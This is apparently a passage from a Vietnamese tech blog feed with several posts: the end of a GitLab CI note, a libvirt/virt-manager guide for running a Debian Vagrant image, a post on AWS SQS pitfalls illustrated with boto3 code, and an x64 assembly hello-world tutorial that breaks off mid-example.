<p><img alt="gitlab" src="https://familug.github.io/images/gitlab.png"></p>
<blockquote>
<p>The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to 0 or blank to fetch all branches and tags for each job</p>
</blockquote>
<h3>Kết luận</h3>
<p>Code chạy 5 năm, trên cùng 1 chỗ, vẫn fail, vì config từ web thay đổi.</p>
<p>Hết.</p>Tạm biệt VirtualBox, chào Debian trên libvirt thêm lần nữa2022-10-21T00:00:00+07:002022-10-21T00:00:00+07:00hvntag:familug.github.io,2022-10-21:/tam-biet-virtualbox-chao-debian-tren-libvirt-them-lan-nua.html<p>Có 3 giải pháp tạo máy ảo phổ biến: vmware, virtualbox và kvm (linux only).</p>
<p>Bắt đầu với Virtualbox từ khi dùng Windows, đi làm dùng Ubuntu chuyển qua kvm vì các dòng lệnh & công việc (openstack)
dùng hàng ngày, rồi lại quay lại VirtualBox khi đó là lựa chọn …</p><p>Có 3 giải pháp tạo máy ảo phổ biến: vmware, virtualbox và kvm (linux only).</p>
<p>Bắt đầu với Virtualbox từ khi dùng Windows, đi làm dùng Ubuntu chuyển qua kvm vì các dòng lệnh & công việc (openstack)
dùng hàng ngày, rồi lại quay lại VirtualBox khi đó là lựa chọn duy nhất trên MacOs.
Ngày nay, lại quay lại với kvm: vì open-source.</p>
<p>Mặc dùng VirtualBox là open-source, một số tính năng trong extension-pack lại chỉ của riêng Oracle và
chỉ được dùng cho mục đích cá nhân, tức không thể dùng trên máy công ty/trong công việc.
Nếu công ty đủ lớn, <a href="https://news.ycombinator.com/item?id=33157447">lỡ dùng trong công việc có thể bị kiện</a>, đặc
biệt là khi làm công ty nước ngoài.</p>
<p>Trên MacOS ngày nay có thể dùng <a href="https://mac.getutm.app/">UTM</a>.</p>
<h2>Cài đặt libvirt</h2>
<p>virt-manager là chương trình giao diện đồ họa.</p>
<div class="highlight"><pre><span></span><code>sudo apt install libvirt-daemon libvirt-clients virt-manager
</code></pre></div>
<p>Thêm user hiện tại vào group libvirt:</p>
<div class="highlight"><pre><span></span><code>sudo usermod -a -G libvirt $(whoami)
</code></pre></div>
<h2>Tải debian vagrant box</h2>
<p>Vào
<a href="https://app.vagrantup.com/debian/boxes/bullseye64">https://app.vagrantup.com/debian/boxes/bullseye64</a></p>
<p>tải file libvirt, ví dụ:</p>
<p><a href="https://app.vagrantup.com/debian/boxes/bullseye64/versions/11.20220912.1/providers/libvirt.box">https://app.vagrantup.com/debian/boxes/bullseye64/versions/11.20220912.1/providers/libvirt.box</a></p>
<p>Giải nén:</p>
<div class="highlight"><pre><span></span><code>tar xf libvirt.box
</code></pre></div>
<p>sẽ thấy có file libvirt.img.</p>
<p>Bật virt-manager > File menu > New Virtual Machine > Import from disk > chọn file libvirt.img > next next next.</p>
<p><img alt="virt-manager" src="https://familug.github.io/images/virtmanager.png"></p>
<p>Bật máy lên, đăng nhập bằng user root password vagrant.</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@bullseye</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">os</span><span class="o">-</span><span class="k">release</span><span class="w"></span>
<span class="n">PRETTY_NAME</span><span class="o">=</span><span class="ss">"Debian GNU/Linux 11 (bullseye)"</span><span class="w"></span>
<span class="n">NAME</span><span class="o">=</span><span class="ss">"Debian GNU/Linux"</span><span class="w"></span>
<span class="n">VERSION_ID</span><span class="o">=</span><span class="ss">"11"</span><span class="w"></span>
<span class="n">VERSION</span><span class="o">=</span><span class="ss">"11 (bullseye)"</span><span class="w"></span>
<span class="n">VERSION_CODENAME</span><span class="o">=</span><span class="n">bullseye</span><span class="w"></span>
<span class="n">ID</span><span class="o">=</span><span class="n">debian</span><span class="w"></span>
<span class="n">HOME_URL</span><span class="o">=</span><span class="ss">"https://www.debian.org/"</span><span class="w"></span>
<span class="n">SUPPORT_URL</span><span class="o">=</span><span class="ss">"https://www.debian.org/support"</span><span class="w"></span>
<span class="n">BUG_REPORT_URL</span><span class="o">=</span><span class="ss">"https://bugs.debian.org/"</span><span class="w"></span>
</code></pre></div>
<p>Happy hacking!</p>[AWS][SQS] Queue service dễ dùng, mà toàn trap2022-10-17T00:00:00+07:002022-10-17T00:00:00+07:00hvntag:familug.github.io,2022-10-17:/awssqs-queue-service-de-dung-ma-toan-trap.html<p>Trong ba vạn sáu ngàn chín trăm service của AWS cung cấp, mỗi cái một kiểu, có this có that.
EC2, ALB, RDS, S3, SQS, Lambda là những cái tên "cơ bản" nhất, cũng là
phổ biến nhất.</p>
<p>Đặc điểm chung là dễ dùng, đắt, và cũng dễ dính trap …</p><p>Trong ba vạn sáu ngàn chín trăm service của AWS cung cấp, mỗi cái một kiểu, có this có that.
EC2, ALB, RDS, S3, SQS, Lambda là những cái tên "cơ bản" nhất, cũng là
phổ biến nhất.</p>
<p>Đặc điểm chung là dễ dùng, đắt, và cũng dễ dính trap!!!</p>
<p>Let's go.</p>
<p>SQS là viết tắt của chữ <a href="https://docs.aws.amazon.com/sqs/index.html">Simple Queue Service</a>, một dịch vụ cloud khá tương đương với các
phần mềm message queue dưới đất như:</p>
<ul>
<li>RabbitMQ</li>
<li>ActiveMQ</li>
<li>IronMQ</li>
</ul>
<p><img alt="itatrap" src="https://images.unsplash.com/photo-1611701600139-0d468e20c9a1?ixlib=rb-1.2.1&dl=nick-fewings-Z2yXfJEu5rI-unsplash.jpg&w=640&q=80&fm=jpg&crop=entropy&cs=tinysrgb"></p>
<p>Photo by <a href="https://unsplash.com/@jannerboy62?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Nick Fewings</a> on <a href="https://unsplash.com/s/photos/trap?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>
<p>Nếu bạn chưa nghe tên cả 3, thì nó giống như 1 cái ống nước, một đầu gửi thư,
đầu kia nhận thư, nếu không ai nhận thì nó nằm trong cái ống.</p>
<p>Vì chỉ đơn giản có vậy, nên sau khi tạo 1 cái queue, thì dùng nó chỉ có 3 thao tác:</p>
<ul>
<li>gửi message</li>
<li>nhận message</li>
<li>xóa message</li>
</ul>
<p>message có thể là 1 đoạn text format JSON.</p>
<p>PS: bài viết không yêu cầu code Python, chỉ dùng minh họa.</p>
<p>Sử dụng Python lib boto3, mọi chuyện đơn giản đúng như nói. Ví dụ lấy từ
tutorial của boto3 <a href="https://boto3.amazonaws.com/v1/documentation/api/latest/guide/sqs.html">https://boto3.amazonaws.com/v1/documentation/api/latest/guide/sqs.html</a></p>
<h3>Tạo SQS queue</h3>
<div class="highlight"><pre><span></span><code><span class="n">sqs</span> <span class="o">=</span> <span class="n">boto3</span><span class="o">.</span><span class="n">resource</span><span class="p">(</span><span class="s1">'sqs'</span><span class="p">)</span>
<span class="c1"># Create the queue. This returns an SQS.Queue instance</span>
<span class="n">queue</span> <span class="o">=</span> <span class="n">sqs</span><span class="o">.</span><span class="n">create_queue</span><span class="p">(</span><span class="n">QueueName</span><span class="o">=</span><span class="s1">'test'</span><span class="p">,</span> <span class="n">Attributes</span><span class="o">=</span><span class="p">{</span><span class="s1">'DelaySeconds'</span><span class="p">:</span> <span class="s1">'5'</span><span class="p">})</span>
<span class="c1"># You can now access identifiers and attributes</span>
<span class="nb">print</span><span class="p">(</span><span class="n">queue</span><span class="o">.</span><span class="n">url</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">queue</span><span class="o">.</span><span class="n">attributes</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'DelaySeconds'</span><span class="p">))</span>
</code></pre></div>
<h3>Gửi SQS message</h3>
<div class="highlight"><pre><span></span><code><span class="n">sqs</span> <span class="o">=</span> <span class="n">boto3</span><span class="o">.</span><span class="n">resource</span><span class="p">(</span><span class="s1">'sqs'</span><span class="p">)</span>
<span class="c1"># Get the queue</span>
<span class="n">queue</span> <span class="o">=</span> <span class="n">sqs</span><span class="o">.</span><span class="n">get_queue_by_name</span><span class="p">(</span><span class="n">QueueName</span><span class="o">=</span><span class="s1">'test'</span><span class="p">)</span>
<span class="c1"># Create a new message</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">queue</span><span class="o">.</span><span class="n">send_messages</span><span class="p">(</span><span class="n">Entries</span><span class="o">=</span><span class="p">[</span>
<span class="p">{</span>
<span class="s1">'Id'</span><span class="p">:</span> <span class="s1">'1'</span><span class="p">,</span>
<span class="s1">'MessageBody'</span><span class="p">:</span> <span class="s1">'world'</span>
<span class="p">},</span>
<span class="p">{</span>
<span class="s1">'Id'</span><span class="p">:</span> <span class="s1">'2'</span><span class="p">,</span>
<span class="s1">'MessageBody'</span><span class="p">:</span> <span class="s1">'boto3'</span><span class="p">,</span>
<span class="s1">'MessageAttributes'</span><span class="p">:</span> <span class="p">{</span>
<span class="s1">'Author'</span><span class="p">:</span> <span class="p">{</span>
<span class="s1">'StringValue'</span><span class="p">:</span> <span class="s1">'Daniel'</span><span class="p">,</span>
<span class="s1">'DataType'</span><span class="p">:</span> <span class="s1">'String'</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">])</span>
</code></pre></div>
<h3>Nhận message rồi xử lý và xóa</h3>
<p>Một mô hình đơn giản đó là có 1 đầu gửi lệnh tới SQS queue, đầu kia sẽ nhận
lệnh và xử lý.</p>
<p>Nhận:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># Get the service resource</span>
<span class="n">sqs</span> <span class="o">=</span> <span class="n">boto3</span><span class="o">.</span><span class="n">resource</span><span class="p">(</span><span class="s1">'sqs'</span><span class="p">)</span>
<span class="c1"># Get the queue</span>
<span class="n">queue</span> <span class="o">=</span> <span class="n">sqs</span><span class="o">.</span><span class="n">get_queue_by_name</span><span class="p">(</span><span class="n">QueueName</span><span class="o">=</span><span class="s1">'test'</span><span class="p">)</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="c1"># Process messages by printing out body and optional author name</span>
<span class="k">for</span> <span class="n">message</span> <span class="ow">in</span> <span class="n">queue</span><span class="o">.</span><span class="n">receive_messages</span><span class="p">(</span><span class="n">MessageAttributeNames</span><span class="o">=</span><span class="p">[</span><span class="s1">'Author'</span><span class="p">]):</span>
<span class="c1"># Get the custom author message attribute if it was set</span>
<span class="n">author_text</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">if</span> <span class="n">message</span><span class="o">.</span><span class="n">message_attributes</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
<span class="n">author_name</span> <span class="o">=</span> <span class="n">message</span><span class="o">.</span><span class="n">message_attributes</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'Author'</span><span class="p">)</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'StringValue'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">author_name</span><span class="p">:</span>
<span class="n">author_text</span> <span class="o">=</span> <span class="s1">' (</span><span class="si">{0}</span><span class="s1">)'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">author_name</span><span class="p">)</span>
<span class="c1"># Print out the body and author (if set)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Hello, </span><span class="si">{0}</span><span class="s1">!</span><span class="si">{1}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">message</span><span class="o">.</span><span class="n">body</span><span class="p">,</span> <span class="n">author_text</span><span class="p">))</span>
<span class="c1"># Let the queue know that the message is processed</span>
<span class="n">message</span><span class="o">.</span><span class="n">delete</span><span class="p">()</span>
</code></pre></div>
<p>Hết tutorial, quá dễ, quá đơn giản!!!</p>
<h3>Traps</h3>
<p>Hãy thử nghĩ các vẫn đề có thể xảy ra liên quan đến SQS ở đoạn code trên
trước khi đọc tiếp, đây chỉ nói về SQS, không nói về code Python.</p>
<h4>Trap 1: delete() chưa chắc đã delete message</h4>
<p>Ở đây không nói về lỗi network.
Đó có lẽ là điều cuối cùng bạn nghĩ tới, khi <a href="https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/sqs.html#SQS.Client.delete_message">function delete đôi khi sẽ không
delete</a></p>
<p>Điều này có ghi rõ 2 trường hợp có thể xảy ra chuyện này, và tất nhiên chỉ
ai nhìn delete() mà không tin nó sẽ delete mới đọc <a href="https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/sqs.html#SQS.Client.delete_message">doc</a>:</p>
<p>Trường hợp 1 là khi dùng SQS standard queue.</p>
<blockquote>
<p>For standard queues, it is possible to receive a message even after you
delete it. This might happen on rare occasions if one of the servers which
stores a copy of the message is unavailable when you send the request to
delete the message. The copy remains on the server and might be returned to
you during a subsequent receive request. You should ensure that your
application is idempotent, so that receiving a message more than once does
not cause issues.</p>
</blockquote>
<p>Yep, SQS có 2 loại queue, 1 là standard queue (cũ) 2 là <a href="https://aws.amazon.com/blogs/aws/new-for-amazon-simple-queue-service-fifo-queues-with-exactly-once-delivery-deduplication/">FIFO queue</a> mới ra đời vào 2016, sau 12 năm tồn tại của SQS với vô số "bí mật".
Standard queue có thể xảy ra trường hợp delete xong mà vẫn còn message.</p>
<p>Nếu ai từng học về cấu trúc dữ liệu trong lập trình, kiểu queue có nghĩa là phải FIFO (first-in first-out), thì queue của AWS có 2 loại là 1 không FIFO và 1 FIFO.</p>
<p>Trường hợp thứ 2, tinh vi hơn:</p>
<blockquote>
<p>The ReceiptHandle is associated with a specific instance of receiving a message. If you receive a message more than once, the ReceiptHandle is different each time you receive a message. When you use the DeleteMessage action, you must provide the most recently received ReceiptHandle for the message (otherwise, the request succeeds, but the message might not be deleted).</p>
</blockquote>
<p>Tức nếu có</p>
<ul>
<li>C1 nhận messageA xử lý,</li>
<li>rồi C2 nhận messageA xử lý</li>
<li>C1 delete message -> return success, nhưng không thực sự xóa</li>
<li>C2 delete message -> nếu không có thằng nào khác (C3, C4...) thì mới xóa.</li>
</ul>
<p>C1 và C2 có thể nhận cùng 1 message, nếu 1 hệ thống có nhiều worker cùng hoạt động, cùng gọi
SQS, thì ban đầu chỉ C1 nhận được messageA, nhưng sau <code>visibility timeout</code> mặc định 30s, C2 cũng sẽ nhìn thấy messageA.
Chỉ với 1 message có visibility timeout 30s, và 2 worker xử lý mỗi message sau 50s, bạn đã tạo được 1 vòng lặp gần vô hạn!</p>
<p><img alt="img" src="https://familug.github.io/images/graph.jpg"></p>
<h4>Trap2</h4>
<p><code>receive_messages</code> kể cả không nhận được message nào, cũng mất phí. Nhìn chung thì
<a href="https://aws.amazon.com/sqs/pricing/">cứ gọi API của AWS là tính phí rồi</a>, nên cái này không đến nỗi quá bất ngờ.
Nhưng khi chứng kiến các backend engineer viết app "scale"/concurrency/parallel, gọi hàng triệu call mỗi 10 giây,
số tiền bạn phải trả AWS 1 tháng đủ để trả lương kỹ sư ấy cả năm.</p>
<p>$0.4/1_000_000 call => 86400/10 * 0.4 == $3_456/ngày.</p>
<h4>Trap N</h4>
<p>Ôi dào, đấy là do không chịu đọc doc của từng function thôi.</p>
<p>Okie bạn ơi, còn 31 cái warning 56 cái note trong tài liệu này, chúc vui!
<a href="https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/sqs.html">https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/sqs.html</a></p>
<p>Còn trang tutorial thân thiện, thì không có gì.
<a href="https://boto3.amazonaws.com/v1/documentation/api/latest/guide/sqs.html">https://boto3.amazonaws.com/v1/documentation/api/latest/guide/sqs.html</a></p>
<h3>Kết luận</h3>
<p>AWS dễ, mà trap everywhere, và mỗi bài học phải được trả bằng tiền, rất nhiều tiền!</p>
<p>Có trong tay full các chứng chỉ cloud của 1 nhà cung cấp cloud hàng đầu (không phải AWS),
tôi không tin có chứng chỉ nào dạy cho bạn những điều này.</p>
<p>Đó là việc của "best practice", của các chuyên gia tư vấn sẽ tới thăm bạn và xin cục tiền.</p>
<p>PS: Nếu lỗi nào có được đào tạo khi luyện thi các chứng chỉ của AWS, các chuyên
gia AWS full chứng chỉ vui lòng PM mình để update vào đây, tạo động lực thi chứng chỉ cho quần chúng.</p>
<p>Happy crying!</p>
<p>Hết.</p>
<p>HVN at http://pymi.vn and https://www.familug.org.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Hello world dùng x64 assembly2022-10-16T00:00:00+07:002022-10-16T00:00:00+07:00hvntag:familug.github.io,2022-10-16:/hello-world-dung-x64-assembly.html<p>Assembly (asm) ở Việt Nam được gọi là <a href="https://vi.wikipedia.org/wiki/H%E1%BB%A3p_ng%E1%BB%AF">"hợp ngữ cũng có thể được gọi là mã máy tượng trưng"</a>, là một ngôn ngữ lập trình cấp thấp, thường tương ứng 1 lệnh với 1 lệnh của CPU.
Lập trình assembly ngày nay không còn phổ biến như trước khi …</p><p>Assembly (asm) ở Việt Nam được gọi là <a href="https://vi.wikipedia.org/wiki/H%E1%BB%A3p_ng%E1%BB%AF">"hợp ngữ cũng có thể được gọi là mã máy tượng trưng"</a>, là một ngôn ngữ lập trình cấp thấp, thường tương ứng 1 lệnh với 1 lệnh của CPU.
Lập trình assembly ngày nay không còn phổ biến như trước khi có C.</p>
<p>C/Zig/Rust... được dùng để viết code "low level", nhưng khi cần tốc độ tối đa, lập trình nhúng, viết driver, hay thực hiện reverse engineering, binary exploitation, asm là ngôn ngữ được ưa chuộng.</p>
<p><img alt="cpu" src="https://images.unsplash.com/photo-1591799264318-7e6ef8ddb7ea?ixlib=rb-1.2.1&dl=olivier-collet-JMwCe3w7qKk-unsplash.jpg&w=640&q=80&fm=jpg&crop=entropy&cs=tinysrgb"></p>
<p>Photo by <a href="https://unsplash.com/@ocollet?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Olivier Collet</a> on <a href="https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>
<ul>
<li>Code Rust ---compile -> binary</li>
<li>Code C ---compile -> binary</li>
<li>Code ASM ---compile -> binary</li>
</ul>
<p>Loạt bài viết này giới thiệu vài chương trình assembly đơn giản, cách compile, chạy, các tool dùng để tìm hiểu file binary.</p>
<p>Assembly đơn giản (giới hạn không nhiều lệnh, luật lệ rõ ràng), nhưng không dễ (mất rất nhiều bước để làm một việc, rất thủ công).</p>
<h3>Hello world</h3>
<p>Là một chương trình in ra màn hình dòng chữ "hello world".</p>
<p>Code Python:</p>
<div class="highlight"><pre><span></span><code><span class="nb">print</span><span class="p">(</span><span class="s2">"Hello,world"</span><span class="p">)</span>
</code></pre></div>
<p>Code C:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">argv</span><span class="p">[])</span><span class="w"></span>
<span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Hello, world</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Code asm trong file hello.s - copy từ wikipedia <a href="https://en.wikipedia.org/wiki/GNU_Assembler#Example_program">https://en.wikipedia.org/wiki/GNU_Assembler#Example_program</a></p>
<div class="highlight"><pre><span></span><code><span class="na">.global</span><span class="w"> </span><span class="no">_start</span><span class="w"></span>
<span class="na">.text</span><span class="w"></span>
<span class="nl">_start:</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$4</span><span class="p">,</span><span class="w"> </span><span class="nv">%eax</span><span class="w"> </span><span class="c1"># 4 (code for "write" syscall) -> EAX register</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$1</span><span class="p">,</span><span class="w"> </span><span class="nv">%ebx</span><span class="w"> </span><span class="c1"># 1 (file descriptor for stdout) -> EBX (1st argument to syscall)</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$message</span><span class="p">,</span><span class="w"> </span><span class="nv">%ecx</span><span class="w"> </span><span class="c1"># address of message string -> ECX (2nd argument)</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$len</span><span class="p">,</span><span class="w"> </span><span class="nv">%edx</span><span class="w"> </span><span class="c1"># len (32 bit address) -> EDX (3rd arg)</span>
<span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">$0x80</span><span class="w"> </span><span class="c1"># interrupt with location 0x80 (128), which invokes the kernel's system call procedure</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$1</span><span class="p">,</span><span class="w"> </span><span class="nv">%eax</span><span class="w"> </span><span class="c1"># 1 ("exit") -> EAX</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$0</span><span class="p">,</span><span class="w"> </span><span class="nv">%ebx</span><span class="w"> </span><span class="c1"># 0 (with success) -> EBX</span>
<span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">$0x80</span><span class="w"> </span><span class="c1"># see previous</span>
<span class="na">.data</span><span class="w"></span>
<span class="nl">message:</span><span class="w"></span>
<span class="w"> </span><span class="na">.ascii</span><span class="w"> </span><span class="s">"Hello, PyMivn!\n"</span><span class="w"> </span><span class="c1"># inline ascii string</span>
<span class="w"> </span><span class="nf">len</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="mi">15</span><span class="w"></span>
</code></pre></div>
<p>Compile dùng <code>gcc</code></p>
<div class="highlight"><pre><span></span><code>$ gcc -c hello.s
$ ls -l
-rw-rw-r-- <span class="m">1</span> hvn hvn <span class="m">904</span> Oct <span class="m">16</span> <span class="m">14</span>:11 hello.o
-rw-rw-r-- <span class="m">1</span> hvn hvn <span class="m">598</span> Oct <span class="m">16</span> <span class="m">14</span>:11 hello.s
$ file hello.o
hello.o: ELF <span class="m">64</span>-bit LSB relocatable, x86-64, version <span class="m">1</span> <span class="o">(</span>SYSV<span class="o">)</span>, not stripped
</code></pre></div>
<p><code>gcc -c</code> compile source code hello.s sẽ sinh ra object file hello.o.
GCC sẽ gọi GNU Assembler (gas - lệnh là <code>as</code>) để thực hiện compile. Ngoài <code>as</code>, trên Linux còn phổ biến <code>nasm</code>. Trên Windows phổ biến <a href="https://learn.microsoft.com/en-us/cpp/assembler/masm/microsoft-macro-assembler-reference?view=msvc-170">MASM</a></p>
<h4>ld - linker</h4>
<p><code>man ld</code></p>
<blockquote>
<p>ld combines a number of object and archive files, relocates their data
and ties up symbol references. Usually the last step in compiling a
program is to run ld.</p>
</blockquote>
<p><code>ld</code> thực hiện link (các) file object, ở đây chỉ có 1 file hello.o, thành file binary cuối cùng chạy đuợc, có tên mặc định là a.out.</p>
<div class="highlight"><pre><span></span><code>$ ld hello.o
$ ls -l
-rwxrwxr-x <span class="m">1</span> hvn hvn <span class="m">8920</span> Oct <span class="m">16</span> <span class="m">14</span>:13 a.out
$ file a.out
a.out: ELF <span class="m">64</span>-bit LSB executable, x86-64, version <span class="m">1</span> <span class="o">(</span>SYSV<span class="o">)</span>, statically linked, not stripped
$ ./a.out
Hello, PyMivn!
</code></pre></div>
<h4>ELF file</h4>
<p>file binary chạy được tên <code>a.out</code> trên Linux có format <code>ELF</code>.</p>
<div class="highlight"><pre><span></span><code>$ whatis elf
elf <span class="o">(</span><span class="m">5</span><span class="o">)</span> - format of Executable and Linking Format <span class="o">(</span>ELF<span class="o">)</span> files
</code></pre></div>
<p>Trên MacOS sử dụng format <code>Mach-O</code>, trên Windows sử dụng format <code>Portable Executable (PE)</code>.</p>
<p><a href="https://en.wikipedia.org/wiki/Comparison_of_executable_file_formats">https://en.wikipedia.org/wiki/Comparison_of_executable_file_formats</a>.</p>
<h4>Chi tiết code asm</h4>
<h5>AT&T và Intel syntax</h5>
<p>asm có hai nhánh syntax chính, là AT&T và Intel.
Intel phổ biến trên Windows, AT&T phổ biến trên Unix/Linux.
Xem chi tiết so sánh tại <a href="https://en.wikipedia.org/wiki/AT%26T_syntax#Syntax">https://en.wikipedia.org/wiki/AT%26T_syntax#Syntax</a></p>
<h5>hello.s</h5>
<p>Code asm trong bài này chứa 3 section. <code>.global</code>, <code>.data</code> và <code>.text</code>, sử dụng AT&T syntax.</p>
<blockquote>
<p><a href="https://sourceware.org/binutils/docs-2.39/as/Global.html">.global makes the symbol visible to ld</a></p>
</blockquote>
<p><code>.global</code> sẽ khai báo function nào được chạy, ở đây là <code>_start</code> (thực chất là export symbol <code>_start</code> cho linker nhìn thấy)</p>
<div class="highlight"><pre><span></span><code><span class="na">.global</span><span class="w"> </span><span class="no">_start</span><span class="w"></span>
</code></pre></div>
<p><code>.data</code> còn gọi là data segment chứa các global variable & static variable.</p>
<div class="highlight"><pre><span></span><code><span class="na">.data</span><span class="w"></span>
<span class="nl">message:</span><span class="w"></span>
<span class="w"> </span><span class="na">.ascii</span><span class="w"> </span><span class="s">"Hello, PyMivn!\n"</span><span class="w"> </span><span class="c1"># inline ascii string</span>
<span class="w"> </span><span class="nf">len</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="mi">15</span><span class="w"></span>
</code></pre></div>
<p><code>.text</code> chứa code của chương trình. Function <code>_start</code></p>
<div class="highlight"><pre><span></span><code><span class="na">.text</span><span class="w"></span>
<span class="nl">_start:</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$4</span><span class="p">,</span><span class="w"> </span><span class="nv">%eax</span><span class="w"> </span><span class="c1"># 4 (code for "write" syscall) -> EAX register</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$1</span><span class="p">,</span><span class="w"> </span><span class="nv">%ebx</span><span class="w"> </span><span class="c1"># 1 (file descriptor for stdout) -> EBX (1st argument to syscall)</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$message</span><span class="p">,</span><span class="w"> </span><span class="nv">%ecx</span><span class="w"> </span><span class="c1"># address of message string -> ECX (2nd argument)</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$len</span><span class="p">,</span><span class="w"> </span><span class="nv">%edx</span><span class="w"> </span><span class="c1"># len (32 bit address) -> EDX (3rd arg)</span>
<span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">$0x80</span><span class="w"> </span><span class="c1"># interrupt with location 0x80 (128), which invokes the kernel's system call procedure</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$1</span><span class="p">,</span><span class="w"> </span><span class="nv">%eax</span><span class="w"> </span><span class="c1"># 1 ("exit") -> EAX</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">$0</span><span class="p">,</span><span class="w"> </span><span class="nv">%ebx</span><span class="w"> </span><span class="c1"># 0 (with success) -> EBX</span>
<span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">$0x80</span><span class="w"> </span><span class="c1"># see previous</span>
</code></pre></div>
<p>%eax %ebx %ecx %edx là 4 register (thanh ghi) trong CPU, để chứa các giá trị.</p>
<div class="highlight"><pre><span></span><code>mov $4, %eax
</code></pre></div>
<p>tương đương với viết code C <code>eax = 4</code>. <code>int $0x80</code> thực hiện interrupt tại địa chỉ 0x80, tức thực hiện gọi syscall. Dòng <code>int $0x80</code> có thể viết thành <code>syscall</code>.</p>
<p>Về cơ bản đoạn code trên thực hiện gọi 2 syscall số 4-write và 1-exit</p>
<p>Code giả:</p>
<div class="highlight"><pre><span></span><code><span class="n">syscall</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">message</span><span class="p">,</span><span class="w"> </span><span class="n">len</span><span class="p">)</span><span class="w"></span>
<span class="n">syscall</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>hay</p>
<div class="highlight"><pre><span></span><code><span class="n">write</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="w"> </span><span class="n">message</span><span class="p">,</span><span class="w"> </span><span class="n">len</span><span class="p">)</span><span class="w"></span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>Chạy với lệnh <code>strace</code> để xem các syscall đã được dùng:</p>
<div class="highlight"><pre><span></span><code>$ strace ./a.out > /dev/null
execve<span class="o">(</span><span class="s2">"./a.out"</span>, <span class="o">[</span><span class="s2">"./a.out"</span><span class="o">]</span>, 0x7ffd32dba4c0 /* <span class="m">58</span> vars */<span class="o">)</span> <span class="o">=</span> <span class="m">0</span>
strace: <span class="o">[</span> Process <span class="nv">PID</span><span class="o">=</span><span class="m">327701</span> runs <span class="k">in</span> <span class="m">32</span> bit mode. <span class="o">]</span>
write<span class="o">(</span><span class="m">1</span>, <span class="s2">"Hello, PyMivn!\n"</span>, <span class="m">15</span><span class="o">)</span> <span class="o">=</span> <span class="m">15</span>
exit<span class="o">(</span><span class="m">0</span><span class="o">)</span> <span class="o">=</span> ?
+++ exited with <span class="m">0</span> +++
</code></pre></div>
<p>Phiên bản dùng Intel syntax:</p>
<div class="highlight"><pre><span></span><code><span class="na">.intel_syntax</span><span class="w"> </span><span class="no">noprefix</span><span class="w"></span>
<span class="na">.global</span><span class="w"> </span><span class="no">_start</span><span class="w"></span>
<span class="na">.text</span><span class="w"></span>
